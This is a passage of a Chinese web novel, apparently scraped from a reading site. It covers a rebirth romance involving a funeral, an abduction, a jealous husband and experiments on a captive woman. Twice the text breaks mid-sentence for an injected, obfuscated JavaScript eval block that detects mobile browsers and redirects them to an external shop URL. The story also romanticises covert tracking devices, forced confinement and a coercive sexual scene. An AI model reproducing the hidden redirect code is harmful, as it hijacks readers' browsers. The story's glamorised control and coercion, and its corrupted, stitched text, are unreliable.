时卿舟正低头和她说着什么,一只手护在她的腰侧。 姿态亲昵而保护欲十足。 看得孟婉凝嫉妒。 最近孟廷凛对她的态度越来越冷淡,甚至有些疏离。 这让她感到了前所未有的危机感。 而这一切,都是因为孟昭月! 她调整了一下表情,转头看向孟廷凛。 “小叔。”她语气端庄得体。 “父亲前段时间好像问起了星瀚科技文化审查项目的进展。” 孟廷凛闻言,眉头微微蹙起。 对于大哥的干预有些不愉。 孟家做主的说到底是他孟廷凛。 对孟崇山的尊重,也不过是看在孟崇山在学术界的地位。 “我知道了。”他淡淡地应了一声。 孟婉凝观察着他的神色,继续说道:“正好时总也在,不如趁这个机会,和他聊聊?” 孟廷凛看了一眼不远处的时卿舟,点了点头。 “也好。” …… 葬礼的流程繁琐而冗长。 等到一切结束,宾客们开始陆续散去。 孟廷凛拦住了时卿舟的去路。 “时总,借一步说话。” 他的声音冷硬,带着上位者离开的强硬。 “关于星瀚文化审查权的事情,我想和你谈谈。” 时卿舟没有立刻回答。 他脸上挂着那副得体温和的笑容,只是静静地看着孟廷凛。 那目光如有实质,让孟廷凛感到一阵不适。 过了好一会儿,时卿舟才点了点头。 “好。” 他转过身,低下头看着孟昭月。 “月月,乖乖在这里等老公。” 他的声音温柔极了,像是在哄孩子。 “不要乱跑,知道吗?” 孟昭月乖巧地点了点头:“好。” 时卿舟摸了摸她的头,这才跟着孟廷凛离开。 两人来到一处僻静的回廊下。 四周静悄悄。 孟廷凛沉默了许久,然后开口。 “昭月最近怎么样?” 他的声音沙哑。 时卿舟挑了挑眉,脸上神情未变。 “我以为孟总是要和我谈文化审查的事情。” 孟廷凛神色顿时沉了下去。 “我是她小叔,关心她合情合理。” “小叔?” 时卿舟嗤笑一声。 “孟廷凛,你配吗?” …… 另一边,孟昭月从卫生间出来。 刚走到回廊拐角,就看到了一个熟悉的身影。 顾青珩靠在柱子上,似乎已经等候多时。 “昭月。” 孟昭月停下脚步,有些疑惑。 但还是礼貌地向这位政坛实权新贵打招呼。 “顾议长。” 顾青珩认真看了一会她,然后叹了口气。 “时卿舟不应该放任你一个人的。” 第117章 骑士失去的公主 回廊外开始落雪了。 孟昭月听到顾青珩的话有些懵:“顾议长,你说的是什么意思?” 顾青珩没有解释,而是慢慢向她走近。 “不看着昭月,昭月会遇到坏人的。” 他的声音很轻,双清冷的眸子里,此刻却翻涌着某种压抑已久的情绪。 孟昭月本能地后退了一步,脸上露出了乖巧的笑容。 “这里是顾议长父亲的葬礼,应该没有人会这么没眼力见乱来吧?” 顾青珩在她面前站定。 他看着她,眼神逐渐变得幽深。 “如果……” 他伸出手,一把抓住了她的手腕。 “这个坏人说的就是我呢?” 孟昭月一惊,还没来得及反应,就被顾青珩拽着,强行拖走了。 “顾青珩!你干什么?!” 孟昭月惊呼出声,试图挣脱他的钳制。 但顾青珩的手劲大得惊人,她的挣扎显得微不足道。 他没有说话,只是拉着她,穿过回廊,避开人群,朝着顾家老宅的深处走去。 “放开我!我要去找阿卿!” 听到“阿卿”两个字,顾青珩的脚步顿了一下,随即走得更快了。 他将她带到了一间位于偏僻角落的房间。 推开门,将她推了进去,然后反手锁上了门。 空气中弥漫着一股淡淡的檀香味。 孟昭月揉着被捏痛的手腕,警惕地看着他。 顾青珩眼底一片赤红。 孟昭月往后挪了挪,结结巴巴:“你,你冷静。” “我很冷静,我只是……” 他顿了顿,原本强硬的气势瞬间垮塌下来。 只剩下无尽的落寞与卑微。 “想你了,昭月。” 他的声音低得几乎要被风雪声掩盖。 孟昭月愣住了。 想她? 他们明明才见过几次面。 屋内没有开灯,光线昏暗。 顾青珩的目光贪婪地描摹着她的眉眼。 “昭月……”他低声呢喃着她的名字,声音里充满了眷恋与痛苦。 说着他,缓缓地、郑重地,在她面前单膝跪下。 孟昭月惊得后退了半步。 “你,你做什么呀!” 他伸出手,轻轻地,小心翼翼地,捧起了她垂落在身侧的裙摆。 然后,低下头,将那个裙摆,送到了自己的唇边。 一个虔诚的、克制的、却又满含深情的吻,落在了冰凉的布料上。 “和我在一起好不好?” “在没有那个疯子的地方,只有我们两个人。” “就像以前一样。” 孟昭月浑身僵硬,完全不知道该作何反应。 这……这是什么情况? 以前?什么以前? 她搜寻遍了脑海里的记忆,也找不到任何关于顾青珩的特殊片段。 前世的时候他和孟婉凝关系密切,与自己不过是点头之交。 这一世他确实也算对自己比较照拂,但是也远远达不到这么离谱的感情。 这份感情,似乎很厚重。 “顾……顾议长,你先起来……” 孟昭月有些手足无措,想要抽回自己的裙摆,却被他紧紧攥住。 “为什么你对我这么……” 她实在找不到一个合适的形容词,来形容这份强烈沉重的感情。 “我们明明……不熟啊。” “我听阿卿说你还记得以前的事……” “可是,就算是以前我和你的交集也都屈指可数啊。” 顾青珩愣了愣。 以前? 眼神里带上一丝希冀,小心翼翼地试探道。 “昭月,你……还记得以前的事情吗?” 孟昭月点了点头:“记得一些。” 顾青珩的眼睛瞬间亮了起来。 那光芒璀璨得令人心惊。 “那……第一世的事情呢?” 他急切地追问。 “那个暴雨天,那个……总是跟在你身后的小跟班?” 孟昭月更加困惑了。 “什么第一世?” “暴雨天?你是说……我和阿卿初遇的那个雨天吗?” 时卿舟…… 顾青珩眼中的光芒,瞬间熄灭了。 取而代之的,是无尽的灰败与绝望。 她只想起了第二世。 她只记得时卿舟那个疯子! 那个篡夺了他和昭月初遇的杂种! 而属于他们两个人的、相依为命的第一世,她全都忘了。 “为什么……”他低声喃喃,声音里充满了不甘与怨愤。 “凭什么……凭什么你只记得他……” “凭什么那个虚情假意的疯子能占据你的记忆。” “而我……却什么都不是……” 他猛地站起身,逼近孟昭月。 孟昭月被他的动作吓了一跳,下意识地想要躲避。 顾青珩却并没有伤害她。 他伸出手,直接扯下了她胸前别着的胸针。 “这是时卿舟送你的?”他冷声问道。 孟昭月点了点头。 “呵。”顾青珩发出一声短促的冷笑。 “啪嗒。” 胸针被他随手丢在地上。 接着,踩了上去。 “咔嚓——” 顾青珩将那枚价值连城的胸针碾碎。 露出了里面藏着的、微小的黑色电子元件。 **器。 孟昭月:“……” 嗯,时卿舟的风格。 顾青珩:“好了,舞台处理干净了。” 他抬起头,向她伸出手,眼神温柔而悲伤。 “昭月,你想听一个故事吗?” …… 灵堂外的回廊下,风雪呼啸。 时卿舟依旧是一副温文尔雅的模样,嘴角挂着得体的微笑。 孟廷凛深吸了一口气,压下心头的烦躁。 “时卿舟,别摆出那种表情。” 他的声音沉稳有力,带着上位者的威严。 “时家什么德性,你不知道?” “那种肮脏腐烂的地方,你觉得会是适合昭月的归宿?” “特别你,这种弑亲嗜血的人,只会给昭月带去不幸。” “你身边的危险太多,你护不住她。” 时卿舟安静地听着,脸上的笑容没有丝毫变化。 只是那双桃花眼微微眯起,透出一股让人捉摸不透的深意。 “孟总……对我的妻子,是不是有点过分关心了?” 他作为男人。 自己的女人被人觊觎了,他自然能察觉到。 第一世和第二世,孟廷凛虽然也关心孟昭月。 但那更多是对亲近晚辈的照拂。 现在,他对孟昭月表现出了某种近乎男女之间的占有欲。 “别忘了,孟总可是一直以月月的‘长辈’自居的。” “怎么?孟总也为老不尊了?” 孟廷凛被怼得一哽,然后神色沉了下来。 “你别转移话题。” 时卿舟轻笑一声:“我还以为,孟总今天找我,就算不谈文化审查的事情。” 他话锋一转:“至少也会来质问孟婉凝小姐的事?” 提到孟婉凝,孟廷凛的眼中闪过一抹怒意。 “既然你提到了,那我正好问问你。” 他压低声音,语气严厉。 “那天晚上,你到底对婉凝做了什么?” “自从那次之后,她的身体就一直很虚弱。” “上次我把她从酒吧带回去,她竟然毫无征兆地晕倒了!” “医生检查不出任何问题!” 时卿舟闻言微微挑眉。 晕倒? 检查不出什么问题。 这倒是有趣了。 他神色没有变化:“我那天可是什么都没做。” “不过……”他微微勾唇,语气里带着暗示。 “孟总与其在这里质问我。” “不如去查查孟小姐吃的药是从哪来的。” “还有孟小姐和江淮安的那些勾当。” 孟廷凛愣住了。 药?江淮安? 时卿舟看着他陷入沉思的样子,礼貌地颔首。 “看来孟总现在也没心情聊商业上的事了。” “既然如此,那我就先告辞了。” 说完,他不再理会孟廷凛,转身朝着灵堂走去。 …… 回到灵堂。 时卿舟的视线在人群中扫了一圈。 没有。 她的身影,不见了。 原本挂在脸上的温和笑容,瞬间消失得无影无踪。 取而代之的,是一片令人窒息的阴沉。 月月不见了。 他拿出手机,迅速调出了孟昭月身上的**。 屏幕上,一个小红点正在顾家老宅的深处闪烁。 时卿舟死死地盯着那个红点。 顾清珩。 …… 庭院深深,整个顾家老宅都被覆盖在一片银装素裹中。 时卿舟才刚刚快速穿过回廊进了院子。 就看到了一扇紧闭的房门被推开。 两个人影从里面走了出来。 走在前面的,是孟昭月。 她一直低着头。 脸上没了平日里那种乖巧甜美的笑容。 取而代之的是一种沉重的沉默。 走在她身后的,是顾清珩。 他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879728|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉默着,那双清冷的眸子里,此刻却布满了红血丝。 时卿舟停下了脚步。 他就站在雪地里,静静地看着这一幕。 黑色的风衣上落满了雪花,他却恍若未觉。 顾清珩抬起头,看到了站在不远处的时卿舟。 他愣了一下,随即眼底情绪复杂。 有不甘,有嫉妒…… 孟昭月也看到了时卿舟。 她的脚步停住了。 她站在那里,隔着漫天的风雪,看着那个男人。 他的眼神阴郁,双桃花眼漆黑如墨,深不见底。 他缓缓地,向她伸出了手。 “月月,过来。” 他的声音很轻,很平稳,听不出任何情绪。 孟昭月下意识地想要迈步走向他。 然而,就在她抬脚的瞬间,手腕却被身后的人一把拉住。 是顾清珩。 他没有说话,只是死死地抓着她的手腕。 力道大得仿佛要捏碎她的骨头。 那双清冷的眼睛,此刻深深地、贪婪地看着她。 像是要将她的模样,一笔一划,深深刻入自己的灵魂深处。 带到来世,带到永恒。 不舍。 第一世的时候,时卿舟夺取了他的爱人。 第二世的时候,时卿舟盗取了他的人生。 他不甘心。 真的不甘心。 明明是他先遇到的她,明明是他先爱上的她。 为什么最后,却是这样的结局? 时卿舟看着那只抓着她手腕的手。 他伸出的手,手指微微蜷缩了一下。 “月月,过来。” 他重新说了一遍。 他的神情没有变化,声音却带上了明显的沙哑和颤抖。 他在害怕。 **设备只传回来了部分信息。 但是,他能猜到顾青珩把第一世的事情告诉了孟昭月。 害怕她会真的跟顾清珩走,害怕她会抛弃他,害怕…… 再次失去她。 不知过了多久。 最终,顾青珩缓缓地,一根一根地,松开了手指。 孟昭月的手腕重获自由。 她没有丝毫犹豫,转身扑向了时卿舟的怀抱。 时卿舟一把接住她,双臂猛地收紧,将她死死地按在自己胸口。 力道大得像是要将她揉碎。 回来了。 她回来了。 “我们回家。”他在她耳边低语,声音颤抖得厉害。 雪,下得更大了。 纷纷扬扬的大雪,瞬间将两人的身影笼罩在一片白茫茫的世界里。 清珩站在原地,看着他们在风雪中相拥,看着他们转身离去。 他的手,缓缓地放到了自己的心口上。 用力地死死按着。 好像要把心脏活活挖出来一样。 仿佛这样就能止住那撕心裂肺的疼痛。 鲜血淋漓,痛彻心扉。 他的脑海里,回荡着刚才在屋里,孟昭月对他说的那句话。 “可是,我没有与你经历过那些啊。” 是啊。 她没有经历过。 那个与他在暴雨天相依为命,那个与他共同对抗恶魔和神明的女孩,她没有经历过。 他有一位想要终身守护的公主。 可是…… 消失在了一场大火里。 …… 回去的路上,车厢里死一般的寂静。 时卿舟紧紧地握着孟昭月的手,指节泛白,掌心冰凉。 他一直没有说话,只是死死地盯着前方,下颌线绷得紧紧的。 孟昭月也沉默着,任由他握着,没有挣扎,也没有开口。 两人之间,似乎达成了一种沉默的默契。 …… 时家庄园。 卧室。 “砰!” 卧室的门被重重关上,发出一声巨响。 孟昭月抿了抿唇,刚想开口:“阿卿……” 话音未落,一股巨大的力量猛地袭来! 时卿舟一把拽过她,将她狠狠地按在了门板上! 孟昭月:“!!!” 还没等她反应过来,时卿舟已经从身后死死抱住了她,如同要融入血肉一般。 他一只手捂住了她的嘴巴,堵住了她所有的声音。 “唔!唔唔!” 孟昭月瞪大了眼睛,本能地挣扎着。 却被他禁锢得更紧。 紧接着,温热的唇落在了她的后颈上。 他疯了一样地亲吻、啃咬着她的肌肤,从后颈到肩膀,再到耳后。 粗暴,急切,毫无章法。 像是一只失去了理智的野兽,在疯狂地标记着自己的领地。 第118章 谁家小猫会被骗两次呀? 孟昭月挣脱不开,只能被动承受着他给予的疼痛。 “月月,别说话……” 他的声音就在她耳边,压得很低,声音沙哑。 带着浓重的血腥气和绝望。 “别说话……” “求你……” 别说你要离开我。 别说你喜欢别人。 别说……你不爱我。 那一夜,时卿舟如同疯了一般。 他没有给过孟昭月任何说话的机会。 只是不知疲倦地索取、占有。 仿佛只有通过这种最原始、最激烈的方式。 才能确认她是真的属于他。 才能填补他内心那个巨大的、恐惧的空洞。 …… 第二天傍晚。 卧室里只开了一盏昏黄的落地灯。 孟昭月乖乖地坐在椅子上,身上穿着一件宽松的丝绸睡袍。 时卿舟半跪在地上,手里拿着药膏。 “宝宝,腿。” 孟昭月脸色通红地扯了扯裙摆。 “不用涂了吧……我觉得应该没事。” 时卿舟抬眼看向孟昭月,神色温柔:“那你下来走两步?” 孟昭月:“……” 一走动就疼,她可不敢乱走。 无奈只能哼哼唧唧地摞起裙摆。 时卿舟借着卧室的灯光观察了一会。 然后叹了口气:“是我混蛋。” 孟昭月揪着裙摆,红着脸说:“没,没事啦……” 时卿舟动作小心翼翼地帮她涂抹着伤口。 他的神情专注而温柔。 仿佛昨晚那个疯狂的野兽根本不是他。 “嘶……” 药膏触碰到红肿的皮肤,孟昭月忍不住缩了缩身子。 “疼?”时卿舟的手立刻停住。 他抬起头,满眼心疼,“对不起,宝宝,我轻点。” 他低下头,轻轻地对着伤口吹了吹气。 然后放慢了动作,指腹轻柔地将药膏推开。 “所以你在怕什么嘛……” 孟昭月看着他,声音软软糯糯地抱怨。 “好歹让我把话说完呀……” 昨晚她好几次想开口,都被他堵了回去,差点没憋死她。 时卿舟闻言,手上动作微顿。 “我怕……” 他垂下眼帘,掩去眼底的暗色。 “怕你会害怕我,然后……离开我。” 昨晚的他,确实有些失控了。 “哼。”孟昭月哼哼唧唧地表示。 “我又不是不知道你时不时就会犯病。” 都两辈子了,她还能不了解他这个疯批属性吗? 时卿舟抬起头,看着她那副娇憨的模样,眸色柔和了些。 “对不起。”他温柔地道歉,在她膝盖上落下一吻。 沉默了片刻,他突然开口问道:“顾青珩他最后怎么样了?” 孟昭月想了想,语气低了下来: “我觉得……他有些可怜……” 话还没说完,她就闷哼了一声。 “阿卿,轻、轻点……疼……”她的声音都带上了颤音。 时卿舟刚刚涂药的动作突然变重了。 听到她的声音,时卿舟才回过神来。 他涂药的动作顿了顿,然后继续轻轻擦着药,声音平静:“继续说。” 孟昭月可怜兮兮地看着他:“你问的,我说了你又要吃醋。” “你不许乱按了!” 这家伙,就是个醋坛子成精。 时卿舟继续涂药,不置可否。 孟昭月叹了口气,语气失落:“顾青珩当时的神情真的很绝望。” “支离破碎……好像都要哭了……” 她的声音闷闷的:“真的……很可怜。” 那个清冷矜贵的新权贵,却被困在回忆的牢笼里。 守着一份已经逝去的爱,独自绝望。 “但是,我觉得没关系啊。” 她突然话锋一转。 时卿舟闻言,抬起了头,看着她。 然后,他听到孟昭月带着甜美的笑容,甜甜软软地说: “我跟他说。” “因为这个世界有神啊。” “有神的话,一切都有可能实现啊。” 比如…… 重新回到他的公主在的那个时空。 时卿舟怔怔地看着孟昭月。 灯光下,她的笑容纯净美好。 仿佛能驱散世间所有的阴霾。 他几乎能想象到。 彻底陷入绝望深渊的顾青珩。 在听到这句话后,重新找到希望的感觉。 那种救赎感。 他的月月这是…… 什么样的天使啊。 时卿舟桃花眼从怔愣,慢慢变得幽深。 他垂下眼眸,手上用力按了按。 孟昭月倒吸一口凉气,连忙一把按住他的手。 “喂!你做什么嘛!疼**!” 时卿舟斯条慢理地用另一只手,抓住了她的两只小手。 “里面也要涂药。” 孟昭月:“!!!” …… 孟家庄园,书房内烟雾缭绕。 孟廷凛站在落地窗前,指间夹着一支燃了一半的雪茄。 窗外是萧瑟的冬景,枯枝在寒风中颤抖。 他听到开门声,并未回头,只是深深吸了一口烟,然后缓缓吐出。 青白色的烟雾在他面前散开,模糊了他冷硬的侧脸线条。 “小叔。” 孟婉凝推门而入,声音温婉柔和。 她穿着一身素净的白色羊绒连衣裙,长发随意地挽在脑后,看起来温婉端庄。 孟廷凛转过身,目光落在她身上。 那双狭长的凤眼深邃锐利,带着审视的意味。 他没有说话,只是抬了抬下巴,示意书桌上的那叠文件。 “自己看。” 他的声音平淡,听不出喜怒。 孟婉凝愣了一下,随即顺从地走到书桌前。 她拿起那叠资料,快速浏览起来。 资料上详细记录了那天在清吧,那种特殊药物的来源渠道。 所有的线索,都指向了一个人——江浩宇。 从购买渠道、经手人员,到最后的实施者,全部都是江浩宇的人。 孟婉凝看着看着,唇角微不可察地勾起了一个极浅的弧度。 没有任何证据指向她。 她做得非常干净了。 她从未直接下达过任何指令,只是在闲聊时,似是而非地提了几句。 江浩宇那个蠢货,就屁颠屁颠地去做了。 就算孟廷凛查到底,也只能查到江浩宇头上。 跟她孟婉凝有什么关系? 她放下资料,抬起头,脸上露出了震惊和难以置信的表情。 “这……这是江浩宇做的?” 她的声音颤抖,眼眶瞬间红了,眼泪在眼眶里打转,却倔强地不肯落下。 “可是给我下药的……明明是姜特助……” “我真的不知道。” 孟廷凛看着她这副梨花带雨的模样,并没有像往常那样立刻上前安慰。 他只是静静地看着她,目光深沉。 “你真的不知道?” 他问,声音低沉有力。 “江浩宇买药的时候,你就在他旁边。” “他说那是给昭月准备的惊喜,你就没有多问一句?” 孟婉凝的心跳漏了一拍。 但她很快稳住了心神,脸上露出更加委屈的神情。 “我……我当时真的以为只是普通的礼物,就没多想。” “小叔,你知道我的,我从来不碰那些乱七八糟的东西。” “而且……” 她咬了咬下唇,声音更低了。 “而且我才是受害者啊。” 孟廷凛看着她哭泣的样子,沉默了许久。 他没有立刻说话,只是安静地看着孟婉凝。 “婉凝。” 他突然开口。 “这件事,我会继续查下去。” 孟婉凝哭泣的动作僵住了。 继续查? 都已经查到江浩宇头上了,还要查什么? 难道他发现了什么? 她强压下心头的慌乱,抬起头,露出了一个勉强的笑容。 “是……是该好好查查。” 孟廷凛盯着她的眼睛,目光如炬。 “你知道就好。” 他走到她面前,居高临下地看着她。 “孟家容不下心术不正的人。” “婉凝,你从小在我身边长大,我对你寄予厚望。” “希望你……不要让我失望。” 孟婉凝握着资料的手指有些颤抖。 但她依然维持着那副端庄得体的模样,对着孟廷凛露出了一个完美的微笑。 “小叔放心。” “我一定不会让您失望的。” 说完,她对着孟廷凛微微鞠了一躬,然后转身离开了书房。 …… 时卿舟的私人别墅,二楼主卧。 孟昭月盘腿坐在落地窗前的羊毛毯上,怀里抱着一个抱枕。 她气鼓鼓的背对着时卿舟,只留给他一个倔强的后脑勺。 时卿舟坐在她身后的沙发上,手里拿着一本书,视线却始终落在那个小小的身影上。 “月月。” 他轻声唤道,声音里带着明显的笑意。 “还在生气?” 孟昭月哼了一声,没有理他。 还说呢! 明明说好了只是涂药,结果呢? 那个坏蛋,非要趁机欺负她。 她哭着求了他好几次,他才舍得把手指拿走。 “大骗子!” 她小声嘟囔了一句,把怀里的抱枕抱得更紧了。 时卿舟听到了她的抱怨,唇角的弧度更深了。 他放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879729|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下书,起身走到她身后,蹲下身。 伸出双臂,从背后将她连人带抱枕一起圈进了怀里。 “我怎么骗你了?” 他将下巴搁在她的肩窝处,温热的呼吸喷洒在她的耳廓。 “药是不是涂好了?” “伤口是不是不疼了?” 孟昭月缩了缩脖子,想要躲开他的气息,却被他抱得更紧。 “那是涂药吗?!” 她转过头,那双水汪汪的杏眼瞪着他,控诉道。 “你明明就是在……” 后面的话她实在说不出口,脸颊却已经红透了。 时卿舟看着她这副羞恼的模样,心头一软。 他凑过去,在她的脸颊上亲了一口。 “在什么?” 他明知故问,语气无辜极了。 “在疼爱我的宝贝妻子?” “而且月月刚刚不是很舒服吗?” “一直在哼哼唧唧的。” 孟昭月被他的厚脸皮惊呆了。 “才没有!” 她张了张嘴,想厉色反驳,但是又不占理。 因为确实很舒服。 最后只能气呼呼地转过头,不再看他。 时卿舟低笑一声,将她抱起来,让她坐在自己的腿上。 低头细细密密地亲吻着孟昭月的脸颊。 “乖宝宝,别生气了好不好。” “不然我心都要碎了。” 他说得可怜又无辜。 要是忽略这男人眼中那份,掩饰都掩饰不住的笑意的话。 孟昭月气得不轻,但是目光落到了放在一旁的书,然后愣了愣。 “《红颜旧梦》?那不是孟婉凝的剧本吗?” 时卿舟闻言,将书拿了过来:“嗯,从文学的角度来说确实不错。” “有爆火的潜力。” 孟昭月看向时卿舟。 时卿舟轻笑,轻轻刮了一下孟昭月的鼻子。 “吃醋了?” 孟昭月没说话,只是乖巧地看着时卿舟。 时卿舟看得心痒痒。 他把孟昭月抱得更紧了一些,然后,翻开那本书。 “不过……这剧本背后,有些有趣的地方。” 孟昭月疑惑:“什么有趣的地方。” 时卿舟抱着孟昭月蹭了蹭:“还在查,不过也许会有惊喜。” 他说得意味深长。 孟昭月看着时卿舟眨了眨眼。 然后抱着那本剧本翻开,低头看了看。 她倒要看看有多好看。 就在这时,放在一旁的手机震动了一下。 是时卿舟的手机。 时卿舟拿过手机,看了一眼屏幕。 是一条来自顾清珩的短信。 「我要见时莉莉。」 只有简短的一句话。 时卿舟微微挑眉。 这家伙,消息倒是挺灵的。 发现得这么快。 时卿舟的指尖在屏幕上轻轻敲击着。 他大概能猜到顾青珩要做什么。 他回复了一个字。 「好。」 发完短信,他将手机随意地丢在一旁,重新将注意力放回怀里的女孩身上。 “怎么了?”孟昭月察觉到了他的动作,抬头问道。 “没什么。” 时卿舟笑了笑,在她额头上亲了一下。 孟昭月低头继续看那本剧本:“嗯,确实挺好看的。” 时卿舟见她注意力全到书里去了。 突然有些不开心。 一把抽过那本书。 “不是不舒服吗?我帮你按摩。” 孟昭月正看得津津有味,突然书就没了。 她鼓起腮帮子:“昨天晚上你那啥啥的时候,怎么不见能这么体贴。” 时卿舟的手按到孟昭月的腰上轻轻揉着:“怎么会呢,我历来都是体贴的。” 孟昭月挪了挪身子,调了个舒服的姿势窝在他的怀里。 “先说好,只按摩,不准做其他的。” 时卿舟温柔的笑容意味深长:“自然。” 谁家小猫会被骗两次呀? 哦,是他家的。 …… 第二天,白岺带着孟昭月到西门商区玩了一天。 孟昭月大开眼界。 什么叫做花最多的钱,享受最奢华的服务。 逛累了,两人准备找个地方喝下午茶。 就在她们路过星辉娱乐大楼附近的一条小巷时。 一阵嘈杂的吵闹声引起了她们的注意。 “滚!赶紧滚!” “这里不是你这种乞丐能来的地方!” 几个保安模样的男人,正推搡着一个衣衫褴褛的女生。 女生看起来二十岁左右。 头发凌乱,脸上脏兮兮的,衣服破旧。 她手里紧紧抓着一个文件袋,死死地护在怀里,拼命地想要往大楼里冲。 “我要见孟婉凝!我要见她!” 第119章 月月,神明并非不可战胜 “疯婆子!孟小姐的名字也是你能叫的?!” 保安不耐烦地一脚踹在她身上。 女生惨叫一声,摔倒在地上,文件袋也掉落在一旁。 里面的纸张散落了一地。 保安上前一步,想要去踩那些纸。 女生疯了一样扑过去,用身体护住那些纸张。 “别碰!那是我的心血!那是我的剧本!” “剧本?”保安嗤笑一声,“就你这穷酸样,还能写出剧本?” “我看你是想钱想疯了吧!来这里碰瓷!” 说着,他扬起手中的橡胶棍,就要往女生身上砸去。 “住手!” 一声厉喝传来。 保安的动作顿了一下,转头看去。 只见两个年轻女人正快步走来。 …… 地下室的空气浑浊不堪。 几盏无影灯投下冷硬的光。 光圈中央,一张特制的金属床上,时莉莉被皮带死死地固定着。 她双眼翻白,嘴角挂着涎水,显然已经没有了思考能力。 如同一具靠着鼻饲维持生命体征的活**。 “先生。” 为首的研究员看到时卿舟进来,立刻停下手中的工作,恭敬地行礼。 时卿舟微微颔首。 顾青珩站在他身侧,看着这幅景象,清冷的眉眼间没有任何波动。 “情况如何?”时卿舟问。 研究员指着屏幕上的一组数据,语气严谨。 “明前已经证实,‘那东西’与宿主之间的连接。” “确实是基于某种特定频率的,脑电波。” “我们尝试了通过外部设备模拟这种电波。” “虽然不能完全控制,但已经可以实现简单的信号伪装和诱导。” 时卿舟闻言,唇角勾起一抹极淡的弧度。 他转头看向顾青珩,声音平淡。 “之前时费那个老东西身上的伤疤瞬间复原。” “就是通过时莉莉的身体,利用这种伪装信号。” “向那个那个东西,发送了请求。” 顾青珩看着他,眼神微动。 “所以时费才会对此深信不疑。” “毕竟,亲眼见证的神迹,比任何语言都有说服力。” 时卿舟轻笑一声,没否认。 “贪婪是最好的诱饵。” “只要让他相信真的有神,真的有永生。” “他就会乖乖地把脖子伸进绞索里。” 顾青珩看着床上那个几乎已经看不出人形的女人,沉吟片刻。 “她没有反抗?” “按理说,那个系统应该会察觉到异常才对。” 时卿舟走到仪器前,修长的手指在冰冷的金属外壳上轻轻敲击。 “现在那个东西的主体意识并不在时莉莉身上。” “而是在孟婉凝那里。” “只要我们的动作足够快。” “时莉莉就来不及求救。” 顾青珩若有所思道: “既然你到现在都没有进一步的动作。” “那就证明,时莉莉对那个东西的控制力,确实非常有限。” 看来他原本想要直接利用系统,跳转时空的计划,实现不了了。 时卿舟勾唇。 “聪明。” “另外……” “月月跟我提到过。” “寄生在她身上的那个东西的声音,和我之前在锁在意识海时听到的声音,完全不同。” “这就意味着……” 顾青珩接过了他的话头,声音沉了几分。 “这东西不止一个。” “甚至……” “存在着某种高于这些‘系统’的、更上层的存在。” 地下室里陷入了短暂的死寂。 如果真的有更高维度的存在在操控这一切。 那他们现在的所作所为,不仅是与神明博弈。 甚至是与神明的神明博弈。 “你打算怎么做?”顾青珩打破了沉默。 时卿舟看向时莉莉。 “时莉莉现在对那个东西的请求,已经得不到任何回应了。” “我猜测,可能是类似于货币或者积分之类的能量,已经被消耗空了。” “本来局势已经陷入了僵局。” “但是……” 他话锋一转。 “上次和孟廷凛谈话。” “我发现了一个很有意思的问题。” 顾青珩看向他。 时卿舟慢条斯理地整理了一下袖口,跃跃欲试一般。 “孟婉凝身上的那个东西,似乎并不稳定。” “具体导致不稳定的原因暂时不清楚,正在让人查。” “不过,查出了一些意外之喜。” “关于孟婉凝的剧本的。” “只是还没有掌握直接的铁证。” 顾青珩点了点头。 “我会配合你。” “无论需要什么资源,顾家都会提供。” 为了他的公主。 也为了彻底终结这该死的戏剧。 两人没有再多说什么,一前一后地走出了地下室。 冬日的阳光总是稀薄,驱散不了寒意。 两人沿着庄园的小径慢慢走着。 脚下的积雪发出咯吱咯吱的声响。 “昭月她……” 顾青珩突然开口,声音有些飘忽。 “一直都没有变。” 时卿舟停下脚步,侧头看他。 并没有接话。 顾青珩看着远处光秃秃的树枝,眼神有些恍惚。 “在我最绝望的时候。” “是她告诉我。” “这个世界有神。” “有神的话,一切都有可能实现。” 他的声音很轻,却带着一种虔诚的颤抖。 “那句话,就像一道光。” “照亮了我原本漆黑一片的世界。” “第一世的她也是这样。” “在一切都陷入死局的时候,她也告诉没有关系的。” 他转过头,看向时卿舟。 “她很好。” “说实在的,我真的舍不得放手。” 时卿舟依旧沉默着。 他那双漂亮的桃花眼微微眯起。 却没有任何回应。 但周围的气压,却在以肉眼可见的速度降低。 顾青珩看着他这副样子,突然轻笑了一声。 “怎么?” “时先生这是……吃醋了?” 时卿舟冷冷地瞥了他一眼。 “顾议长想多了。” “我只是在想,有些人的自我感动,真是廉价得可笑。” 顾青珩也不恼,反而心情不错地扬了扬眉。 “是不是自我感动,你自己心里清楚。” 看来是真吃醋破防了。 能让这个总是戴着完美面具的疯子破防。 看着也爽。 就在这时。 “叮。” 时卿舟口袋里的手机震动了一下。 打破了两人之间剑拔**张的气氛。 时卿舟拿出手机,看了一眼屏幕。 原本阴沉的脸色,瞬间如冰雪消融般化开。 取而代之的,是一抹温柔到极致的笑意。 宠溺,纵容,爱恋。 “是月月发来的。” 他晃了晃手机,语气里满是得意。 顾青珩:“……” 不嘻嘻。 “她发什么了?”他硬邦邦地问了一句。 时卿舟没有理会他的冷脸,低头扫了一眼短信内容。 随后,他的唇角勾起一个愉悦的弧度。 “一些有趣的事情。现在……” “证据,这不就找到了。” …… 夜幕降临。 时家庄园的私人靶场内,灯火通明。 空气中弥漫着淡淡的枪油味和硝烟味。 孟昭月穿着一身利落的黑色运动装,头发扎成高马尾,露修长的脖颈。 